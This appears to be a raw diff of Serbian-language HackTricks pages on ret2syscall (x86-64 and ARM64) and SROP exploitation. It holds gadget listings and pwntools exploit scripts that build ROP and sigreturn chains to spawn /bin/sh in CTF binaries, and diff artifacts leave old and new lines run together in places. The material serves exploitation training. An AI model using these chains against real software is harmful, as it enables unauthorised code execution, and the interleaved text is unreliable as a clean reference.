Ovo je slično kao Ret2lib, međutim, u ovom slučaju nećemo pozivati funkciju iz biblioteke. U ovom slučaju, sve će biti pripremljeno da pozove syscall `sys_execve` sa nekim argumentima kako bi izvršio `/bin/sh`. Ova tehnika se obično izvodi na binarnim fajlovima koji su statički kompajlirani, tako da može biti puno gedžeta i instrukcija syscall-a.
Da bismo pripremili poziv za **syscall** potrebna je sledeća konfiguracija:
* `rax: 59 Specificira sys_execve`
* `rdi: ptr ka "/bin/sh" specificira fajl za izvršenje`
* `rsi: 0 specificira da nema prosleđenih argumenata`
* `rdx: 0 specificira da nema prosleđenih promenljivih okruženja`
Dakle, u osnovi je potrebno napisati string `/bin/sh` negde i zatim izvršiti `syscall` (imajući na umu potrebno poravnanje za kontrolu steka). Za ovo nam je potreban gedžet da napiše `/bin/sh` na poznatom mestu.
{% hint style="success" %}
Još jedan interesantan syscall za pozivanje je **`mprotect`** koji bi omogućio napadaču da **modifikuje dozvole stranice u memoriji**. Ovo se može kombinovati sa [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
{% endhint %} {% endhint %}
## Gedžeti za registre ## Basic Information
Ovo je slično Ret2lib, međutim, u ovom slučaju nećemo pozivati funkciju iz biblioteke. U ovom slučaju, sve će biti pripremljeno za pozivanje syscall `sys_execve` sa nekim argumentima za izvršavanje `/bin/sh`. Ova tehnika se obično izvodi na binarnim datotekama koje su kompajlirane statički, tako da može biti mnogo gadgeta i syscall instrukcija.
Da bismo pripremili poziv za **syscall**, potrebna je sledeća konfiguracija:
* `rax: 59 Specifikujte sys_execve`
* `rdi: ptr do "/bin/sh" specifikujte datoteku za izvršavanje`
* `rsi: 0 specifikujte da nema prosleđenih argumenata`
* `rdx: 0 specifikujte da nema prosleđenih promenljivih okruženja`
Dakle, u suštini, potrebno je napisati string `/bin/sh` negde i zatim izvršiti `syscall` (imajući u vidu padding potreban za kontrolu steka). Za to nam je potreban gadget da napišemo `/bin/sh` u poznatom području.
{% hint style="success" %}
Još jedan zanimljiv syscall za pozivanje je **`mprotect`** koji bi omogućio napadaču da **modifikuje dozvole stranice u memoriji**. Ovo se može kombinovati sa [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
{% endhint %}
## Register gadgets
Hajde da počnemo sa pronalaženjem **kako kontrolisati te registre**: Hajde da počnemo sa pronalaženjem **kako kontrolisati te registre**:
```bash ```bash
@ -41,13 +42,13 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x00000000004101f3 : pop rsi ; ret 0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret 0x00000000004498b5 : pop rdx ; ret
``` ```
Sa ovim adresama je moguće **upisati sadržaj na stek i učitati ga u registre**. Sa ovim adresama je moguće **napisati sadržaj na steku i učitati ga u registre**.
## Upisivanje stringa ## Napiši string
### Upisivačka memorija ### Mesto za pisanje
Prvo morate pronaći mesto za pisanje u memoriji Prvo treba da pronađete mesto za pisanje u memoriji
```bash ```bash
gef> vmmap gef> vmmap
[ Legend: Code | Heap | Stack ] [ Legend: Code | Heap | Stack ]
@ -56,20 +57,20 @@ Start End Offset Perm Path
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap] 0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
``` ```
### Upisivanje stringa u memoriju ### Write String in memory
Zatim morate pronaći način da upišete proizvoljni sadržaj na ovu adresu Zatim treba da pronađete način da upišete proizvoljan sadržaj na ovu adresu
```python ```python
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \[" ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
``` ```
### Automatizuj ROP lanac ### Automatizujte ROP lanac
Sledeća komanda kreira potpuni `sys_execve` ROP lanac za statički binarni fajl kada postoje uređaji za pisanje-šta-gde i instrukcije za sistemski poziv: Sledeća komanda kreira puni `sys_execve` ROP lanac za dati statički binarni fajl kada postoje write-what-where gadgeti i syscall instrukcije:
```bash ```bash
ROPgadget --binary vuln --ropchain ROPgadget --binary vuln --ropchain
``` ```
#### 32 bita #### 32 бита
```python ```python
''' '''
Lets write "/bin/sh" to 0x6b6000 Lets write "/bin/sh" to 0x6b6000
@ -91,7 +92,7 @@ rop += popRax
rop += p32(0x6b6000 + 4) rop += p32(0x6b6000 + 4)
rop += writeGadget rop += writeGadget
``` ```
#### 64 bita #### 64 бита
```python ```python
''' '''
Lets write "/bin/sh" to 0x6b6000 Lets write "/bin/sh" to 0x6b6000
@ -107,13 +108,15 @@ rop += popRax
rop += p64(0x6b6000) # Writable memory rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx rop += writeGadget #Address to: mov qword ptr [rax], rdx
``` ```
## Nedostajući uređaji ## Nedostatak Gadžeta
Ako vam nedostaju **uređaji**, na primer za pisanje `/bin/sh` u memoriji, možete koristiti **SROP tehniku za kontrolu svih vrednosti registara** (uključujući RIP i parametre registara) sa steka: Ako vam **nedostaju gadžeti**, na primer da napišete `/bin/sh` u memoriji, možete koristiti **SROP tehniku da kontrolišete sve vrednosti registara** (uključujući RIP i registre parametara) iz steka:
{% content-ref url="../srop-sigreturn-oriented-programming/" %} {% content-ref url="../srop-sigreturn-oriented-programming/" %}
[srop-sigreturn-oriented-programming](../srop-sigreturn-oriented-programming/) [srop-sigreturn-oriented-programming](../srop-sigreturn-oriented-programming/)
{% endcontent-ref %} {% endcontent-ref %}
## Primer Eksploatacije
```python ```python
from pwn import * from pwn import *
@ -180,11 +183,26 @@ target.sendline(payload)
target.interactive() target.interactive()
``` ```
## Ostali Primeri & Reference ## Ostali primeri i reference
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html) * [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
* 64 bita, bez PIE-a, nx, upisati u neku memoriju ROP za poziv `execve` i skočiti tamo. * 64 bita, bez PIE, nx, upisati u neku memoriju ROP za pozivanje `execve` i skočiti tamo.
* [https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html) * [https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html)
* 64 bita, nx, bez PIE-a, upisati u neku memoriju ROP za poziv `execve` i skočiti tamo. Kako bi se upisala funkcija na stek koja vrši matematičke operacije. * 64 bita, nx, bez PIE, upisati u neku memoriju ROP za pozivanje `execve` i skočiti tamo. Da bi se upisalo na stek, zloupotrebljava se funkcija koja vrši matematičke operacije.
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html) * [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
* 64 bita, bez PIE-a, nx, BF canary, upisati u neku memoriju ROP za poziv `execve` i skočiti tamo. * 64 bita, bez PIE, nx, BF kanar, upisati u neku memoriju ROP za pozivanje `execve` i skočiti tamo.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Ret2syscall - ARM64 # Ret2syscall - ARM64
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
Pronađite uvod u arm64 u: Pronađite uvod u arm64 u:
@ -45,20 +46,20 @@ vulnerable_function();
return 0; return 0;
} }
``` ```
Kompajlirajte bez PIE-a i canary-ja: Kompajlirajte bez pie i kanarinca:
```bash ```bash
clang -o ret2win ret2win.c -fno-stack-protector clang -o ret2win ret2win.c -fno-stack-protector
``` ```
## Gadgeti ## Gadgets
Da biste pripremili poziv za **syscall**, potrebna je sledeća konfiguracija: Da bi se pripremio poziv za **syscall**, potrebna je sledeća konfiguracija:
- `x8: 221 Specificiraj sys_execve` * `x8: 221 Specify sys_execve`
- `x0: ptr to "/bin/sh" specificiraj fajl za izvršavanje` * `x0: ptr to "/bin/sh" specify file to execute`
- `x1: 0 specificiraj da nema prosleđenih argumenata` * `x1: 0 specify no arguments passed`
- `x2: 0 specificiraj da nema prosleđenih promenljivih okruženja` * `x2: 0 specify no environment variables passed`
Korišćenjem ROPgadget.py uspeo sam da lociram sledeće gadžete u libc biblioteci mašine: Using ROPgadget.py I was able to locate the following gadgets in the libc library of the machine:
{% code overflow="wrap" %} {% code overflow="wrap" %}
```armasm ```armasm
@ -79,10 +80,10 @@ svc #0
``` ```
{% endcode %} {% endcode %}
Sa prethodnim gedžetima možemo kontrolisati sve potrebne registre sa steka i koristiti x5 da skočimo na drugi gedžet kako bismo pozvali sistemski poziv. Sa prethodnim gadgetima možemo kontrolisati sve potrebne registre sa steka i koristiti x5 da skočimo na drugi gadget kako bismo pozvali syscall.
{% hint style="success" %} {% hint style="success" %}
Imajte na umu da poznavanje ovih informacija iz libc biblioteke takođe omogućava izvođenje napada ret2libc, ali koristimo ih za ovaj trenutni primer. Imajte na umu da poznavanje ovih informacija iz libc biblioteke takođe omogućava izvođenje ret2libc napada, ali hajde da to iskoristimo za ovaj trenutni primer.
{% endhint %} {% endhint %}
### Eksploatacija ### Eksploatacija
@ -134,16 +135,17 @@ p.sendline(payload)
p.interactive() p.interactive()
``` ```
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,38 +1,39 @@
# SROP - Sigreturn-Oriented Programming # SROP - Sigreturn-Oriented Programming
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
## Osnovne informacije
**`Sigreturn`** je poseban **sistemski poziv (syscall)** koji se uglavnom koristi za čišćenje nakon što je rukovalac signala završio svoje izvršavanje. Signali su prekidi koje operativni sistem šalje programu, često da bi ukazao da se desila neka izuzetna situacija. Kada program primi signal, privremeno pauzira svoj trenutni rad kako bi obradio signal pomoću **rukovaoca signala**, posebne funkcije dizajnirane za rukovanje signalima.
Nakon što rukovalac signala završi, program mora da **nastavi svoje prethodno stanje** kao da se ništa nije desilo. Tu dolazi do izražaja **`sigreturn`**. Pomaže programu da **vrati se iz rukovaoca signala** i vraća stanje programa čišćenjem okvira steka (sekcija memorije koja čuva pozive funkcija i lokalne promenljive) koji je korišćen od strane rukovaoca signala.
Interesantan deo je kako **`sigreturn`** vraća stanje programa: to čini tako što **sve vrednosti registara CPU-a čuva na steku.** Kada signal više nije blokiran, **`sigreturn` izbacuje ove vrednosti sa steka**, efikasno resetujući registre CPU-a na njihovo stanje pre rukovanja signalom. To uključuje registar pokazivača steka (RSP), koji pokazuje na trenutni vrh steka.
{% hint style="opasnost" %}
Pozivanjem sistemskog poziva **`sigreturn`** iz ROP lanca i **dodavanjem vrednosti registara** koje želimo da učita na **stek** moguće je **kontrolisati** sve vrednosti registara i stoga **pozvati** na primer sistemski poziv `execve` sa `/bin/sh`.
{% endhint %} {% endhint %}
Primetite kako bi ovo bio **tip Ret2syscall** koji olakšava kontrolisanje parametara za pozivanje drugih Ret2syscall-ova: ## Basic Information
**`Sigreturn`** je posebna **syscall** koja se prvenstveno koristi za čišćenje nakon što signalni handler završi svoju izvršavanje. Signali su prekidi koje operativni sistem šalje programu, često da bi ukazali na to da se dogodila neka izuzetna situacija. Kada program primi signal, privremeno pauzira svoj trenutni rad da bi obradio signal pomoću **signal handler-a**, posebne funkcije dizajnirane za rukovanje signalima.
Nakon što signalni handler završi, program treba da **nastavi svoje prethodno stanje** kao da se ništa nije dogodilo. Tu dolazi do izražaja **`sigreturn`**. Pomaže programu da **vrati iz signal handler-a** i obnavlja stanje programa čišćenjem steka (odeljak memorije koji čuva pozive funkcija i lokalne promenljive) koji je koristio signalni handler.
Zanimljiv deo je kako **`sigreturn`** obnavlja stanje programa: to čini tako što čuva **sve vrednosti CPU registara na steku.** Kada signal više nije blokiran, **`sigreturn`** uklanja ove vrednosti sa steka, efikasno resetujući registre CPU-a na njihovo stanje pre nego što je signal obrađen. Ovo uključuje registar pokazivača steka (RSP), koji pokazuje na trenutni vrh steka.
{% hint style="danger" %}
Pozivanje syscall-a **`sigreturn`** iz ROP lanca i **dodavanje registarskih vrednosti** koje želimo da učitamo u **stek** omogućava nam da **kontrolišemo** sve registarske vrednosti i stoga **pozovemo** na primer syscall `execve` sa `/bin/sh`.
{% endhint %}
Obratite pažnju na to kako bi ovo bila **vrsta Ret2syscall** koja olakšava kontrolu parametara za pozivanje drugih Ret2syscall-a:
{% content-ref url="../rop-syscall-execv/" %} {% content-ref url="../rop-syscall-execv/" %}
[rop-syscall-execv](../rop-syscall-execv/) [rop-syscall-execv](../rop-syscall-execv/)
{% endcontent-ref %} {% endcontent-ref %}
Ako ste radoznali, ovo je **struktura sigcontext-a** smeštena na steku kako bi se kasnije povratile vrednosti (dijagram sa [**ovde**](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)): Ako vas zanima, ovo je **sigcontext struktura** koja se čuva na steku da bi se kasnije povratile vrednosti (dijagram iz [**ovde**](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)):
``` ```
+--------------------+--------------------+ +--------------------+--------------------+
| rt_sigeturn() | uc_flags | | rt_sigeturn() | uc_flags |
@ -68,13 +69,13 @@ Ako ste radoznali, ovo je **struktura sigcontext-a** smeštena na steku kako bi
| __reserved | sigmask | | __reserved | sigmask |
+--------------------+--------------------+ +--------------------+--------------------+
``` ```
Za bolje objašnjenje pogledajte i: Za bolje objašnjenje pogledajte takođe:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} {% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
## Primer ## Primer
Možete [**pronaći primer ovde**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) gde je poziv za signeturn konstruisan putem ROP-a (stavljanjem vrednosti `0xf` u rxa), iako je ovo konačan eksploit od tamo: Možete [**pronaći primer ovde**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) gde se poziv na signeturn konstruira putem ROP-a (stavljajući u rxa vrednost `0xf`), iako je ovo konačni exploit odatle:
```python ```python
from pwn import * from pwn import *
@ -101,7 +102,7 @@ payload += bytes(frame)
p.sendline(payload) p.sendline(payload)
p.interactive() p.interactive()
``` ```
Proverite i [**exploit ovde**](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html) gde je binarni fajl već pozivao `sigreturn` i stoga nije potrebno to izgraditi sa **ROP**: Proverite takođe [**eksploit ovde**](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html) gde je binarni program već pozivao `sigreturn` i stoga nije potrebno to graditi sa **ROP**:
```python ```python
from pwn import * from pwn import *
@ -139,12 +140,27 @@ target.interactive()
* [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared) * [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
* [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop) * [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
* [https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html) * [https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)
* Binarni fajl na asembleru koji omogućava **pisanje na stek** i zatim poziva **`sigreturn`** sistemski poziv. Moguće je pisati na stek [**ret2syscall**](../rop-syscall-execv/) putem **sigreturn** strukture i pročitati zastavu koja se nalazi u memoriji binarnog fajla. * Assembler binarni program koji omogućava **pisanje na stek** i zatim poziva **`sigreturn`** syscall. Moguće je napisati na stek [**ret2syscall**](../rop-syscall-execv/) putem **sigreturn** strukture i pročitati zastavicu koja se nalazi unutar memorije binarnog programa.
* [https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html) * [https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html)
* Binarni fajl na asembleru koji omogućava **pisanje na stek** i zatim poziva **`sigreturn`** sistemski poziv. Moguće je pisati na stek [**ret2syscall**](../rop-syscall-execv/) putem **sigreturn** strukture (binarni fajl sadrži string `/bin/sh`). * Assembler binarni program koji omogućava **pisanje na stek** i zatim poziva **`sigreturn`** syscall. Moguće je napisati na stek [**ret2syscall**](../rop-syscall-execv/) putem **sigreturn** strukture (binarni program sadrži string `/bin/sh`).
* [https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html) * [https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html)
* 64 bita, bez relro-a, bez canary-ja, nx, bez pie-a. Jednostavno preplavljivanje bafera zloupotrebom `gets` funkcije sa nedostatkom gedžeta koji izvršava [**ret2syscall**](../rop-syscall-execv/). ROP lanac upisuje `/bin/sh` u `.bss` pozivajući ponovo gets, zloupotrebljava **`alarm`** funkciju da postavi eax na `0xf` kako bi pozvao **SROP** i izvršio shell. * 64 bita, bez relro, bez kanarija, nx, bez pie. Jednostavna buffer overflow koja zloupotrebljava `gets` funkciju sa nedostatkom gadgeta koji izvršava [**ret2syscall**](../rop-syscall-execv/). ROP lanac piše `/bin/sh` u `.bss` ponovnim pozivanjem gets, zloupotrebljava **`alarm`** funkciju da postavi eax na `0xf` kako bi pozvao **SROP** i izvršio shell.
* [https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html) * [https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html)
* 64 bitni program na asembleru, bez relro-a, bez canary-ja, nx, bez pie-a. Tok omogućava pisanje na stek, kontrolu nekoliko registara, poziv sistemskog poziva i zatim poziva `exit`. Izabrani sistemski poziv je `sigreturn` koji će postaviti registre i premestiti `eip` da pozove prethodnu instrukciju sistema i pokrene `memprotect` da postavi prostor binarnog fajla na `rwx` i postavi ESP u prostor binarnog fajla. Nastavljajući tok, program će ponovo pozvati read u ESP, ali u ovom slučaju ESP će pokazivati na sledeću instrukciju tako da će prosleđivanje shell koda napisati ga kao sledeću instrukciju i izvršiti je. * 64 bita assembler program, bez relro, bez kanarija, nx, bez pie. Tok omogućava pisanje na stek, kontrolu nekoliko registara, i pozivanje syscall-a, a zatim poziva `exit`. Izabrani syscall je `sigreturn` koji će postaviti registre i pomeriti `eip` da pozove prethodnu syscall instrukciju i izvrši `memprotect` da postavi binarni prostor na `rwx` i postavi ESP u binarnom prostoru. Prateći tok, program će ponovo pozvati read u ESP, ali u ovom slučaju ESP će pokazivati na sledeću instrukciju, tako da će prosleđivanje shellcode-a napisati kao sledeću instrukciju i izvršiti je.
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection) * [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
* SROP se koristi da se daju privilegije izvršavanja (memprotect) na mestu gde je smešten shell kod. * SROP se koristi za davanje privilegija izvršavanja (memprotect) mestu gde je postavljen shellcode.
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Podrška HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# SROP - ARM64 # SROP - ARM64
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
